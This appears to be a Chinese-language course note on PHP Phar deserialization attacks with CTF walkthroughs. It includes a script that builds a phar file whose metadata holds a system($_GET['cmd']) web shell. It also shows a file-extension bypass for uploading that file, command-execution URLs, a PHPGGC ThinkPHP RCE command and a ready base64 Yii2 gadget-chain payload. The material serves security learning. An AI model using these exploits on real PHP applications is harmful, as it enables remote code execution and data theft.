Phar反序列化
解释
从PHP 5.3开始,引入了类似于JAR的一种打包文件机制。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。
###原理
PHP文件系统函数在通过伪协议解析phar文件时,都会将 meta-data进行反序列化操作,受影响的函数如上图;所以当这些函数接收到伪协议处理到 phar 文件的时候,Meta-data 里的序列化字符串就会被反序列化,实现不使用unserialize()函数实现反序列化操作。
利用条件
- phar文件(任意后缀都可以)能上传至服务器。
- 存在受影响函数,存在可以利用的魔术方法。基本都是文件操作类函数,并且其中的参数可控

- 生成Phar注意:php.ini中将Phar.readonly设置为off(否则可能会生成失败)
phar生成脚本
<?php
// 定义一个类
class AnyClass {
// 定义类的属性
var $output = '';
// 构造函数,在类实例化时输出提示信息
function __construct() {
echo '生成完成...';
}
}
// 创建一个新的 Phar 对象,指定生成的 Phar 文件名为 phar.phar
$phar = new Phar('phar.phar');
// 停止 Phar 的缓冲
$phar->stopBuffering();
// 设置 Phar 文件的存根,这是 Phar 文件的标志,必须以 __HALT_COMPILER();
$phar->setStub('<?php __HALT_COMPILER();?>');
// 向 Phar 文件中添加一个字符串作为文件内容,这里创建了一个名为 vfree.txt 的文件,内容为 vfree
$phar->addFromString('vfree.txt', 'vfree');
// 实例化 AnyClass 类
$object = new AnyClass();
// 向类的 output 属性写入命令执行代码,这里的代码存在安全风险,实际使用需谨慎
$object->output = 'system($_GET["cmd"]);';
// 将对象的元数据写入 Phar 文件的清单
$phar->setMetadata($object);
// 再次停止 Phar 的缓冲
$phar->stopBuffering();
?>
demo
<?php
// 显示当前文件的源代码
show_source(__FILE__);
// 获取 GET 请求中名为 filename 的参数
$filename = $_GET['filename'];
// 定义一个类 AnyClass
class AnyClass {
// 定义类的属性 output,初始值为一段 PHP 代码
var $output = 'echo "ok";';
// 析构函数,当对象被销毁时执行 output 属性中的代码
function __destruct() {
eval($this->output);
}
}
// 检查 phar 文件中是否存在 vfree.txt 文件
file_exists($filename);
可以看到代码中并未出现与反序列化相关的函数unserialize(),但是可以使用phar进行反序列化操作
代码中出现受影响的函数file_exists()
__destruct()魔术方法出现的危险方法eval(),一旦代码执行完后,必定会触发
利用
先使用phar生成脚本,生成phar文件在网站同级目录下,然后传参filename并使用phar://协议进行访问,同时传参output属性接收的命令执行cmd参数

phar.phar手动改名(生成时必须为pahr后缀)为phar.png,发现也是能正常执行(不受后缀影响)

案例-ctf
靶场:https://www.nssctf.cn/problem/3018
<?php
show_source(__FILE__);
class Flag{
public $code;
public function __destruct(){
// TODO: Implement __destruct() method.
eval($this->code);
}
}
$filename = $_GET['filename'];
file_exists($filename);
?>

然后目录扫描,发现文件上传点在/upload.php,至此满足所有条件
构造pop
<?php
class Flag{
public $code;
public function __destruct(){
// TODO: Implement __destruct() method.
eval($this->code);
}
}
$a=new Flag();
$a->code='system($_GET["cmd"]);';
$phar = new Phar("phar2.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("phar2.txt", "phar2"); //添加要压缩的文件
$phar->stopBuffering();
运行后生成一个名为phar2.phar的phar反序列化利用文件
上传发现,文件上传只做了后缀过滤,修改后缀为.png即可上传
地址为/upload/phar2.png
然后跟上面一样,传参、phar://协议访问利用
然后传参就可以做到命令执行
?filename=phar://upload/phar2.png/phar2.txt&cmd=ls%20/%20-a;

在根目录下发现flag文件,读取即可
白盒代码审计案例
https://mp.weixin.qq.com/s/2wzaXIpJgYSNnkJgRNUSEg
https://mp.weixin.qq.com/s/Z24A3LYn6P3276v7GqPw4w
原生与框架的差异
原生代码需要找到相关漏洞触发点,如使用了危险的类、函数、进行反序列化操作
框架则即使其没有使用相关危险的代码,但是源码本身爆出过漏洞,使用这套源码的网站就会存在相应漏洞
反序列化链项目工具
PHPGGC
适用于已经公开的漏洞,较新的或者未公开的需要自己去网上寻找链
Linux(无Windows版):https://github.com/ambionics/phpggc
PHPGGC是一个包含unserialize()有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是frohoff的ysoserial的等价物,但是对于PHP。目前该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii和ZendFramework等
NotSoSecure
网页版(需要windows搭建IIS服务.net):https://github.com/NotSoSecure/SerializedPayloadGenerator
为了利用反序列化漏洞,需要设置不同的工具,如 YSoSerial(Java)、YSoSerial.NET、PHPGGC 和它的先决条件。DeserializationHelper 是包含对 YSoSerial(Java)、YSoSerial.Net、PHPGGC 和其他工具的支持的Web界面。使用Web界面,您可以为各种框架生成反序列化payload.
Java – YSoSerial
NET – YSoSerial.NET
PHP – PHPGGC
Python – 原生
反序列化框架利用
[安洵杯 2019]iamthinking Thinkphp V6.0.X 反序列化
https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]iamthinking
源码泄露-访问/www.zip下载源码
打开发现是thinkphp框架
根据MVC模型分别查看


在README.md下发现此版本为thinkphp6.0
因为此版本的thinkphp网上爆出过反序列化漏洞(已经有人挖过了),所以只需要去寻找漏洞利用链即可
phpggc工具生成链或直接使用网上发布出来的利用链
./phpggc ThinkPHP/RCE3 system 'id' --url


CTFSHOW web-267 Yii2反序列化
admin:admin弱口令登录后源码提示泄漏
system执行有回显,exec执行后没有回显




通过/backdoor/shell地址传入反序列化字符串
https://c5cc059e-b126-48ae-8059-57cbd4b54ba3.challenge.ctf.show/index.php?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXGRiXENvbm5lY3Rpb24iOjI6e3M6MzoicGRvIjtpOjE7czozOiJkc24iO086MjY6InlpaVxkYlxDb2x1bW5TY2hlbWFCdWlsZGVyIjoyOntzOjc6IgAqAHR5cGUiO3M6MToieCI7czoxMToiY2F0ZWdvcnlNYXAiO086MjI6InlpaVxjYWNoaW5nXEFycmF5Q2FjaGUiOjI6e3M6MTA6InNlcmlhbGl6ZXIiO2E6MTp7aToxO3M6NDoiZXhlYyI7fXM6MzA6IgB5aWlcY2FjaGluZ1xBcnJheUNhY2hlAF9jYWNoZSI7YToxOntzOjE6IngiO2E6Mjp7aTowO3M6MTU6ImNwIC9mbGEqIHR0LnR4dCI7aToxO2k6MDt9fX19fX0=
最后访问tt.txt即可看见flag
CTFSHOW web-271 Laravel反序列化



可以成功利用
本节知识点
WEB攻防-PHP反序列化-CVE&wakeup绕过
WEB攻防-PHP反序列化-版本属性解析差异
WEB攻防-PHP反序列化-字符增多减少逃逸
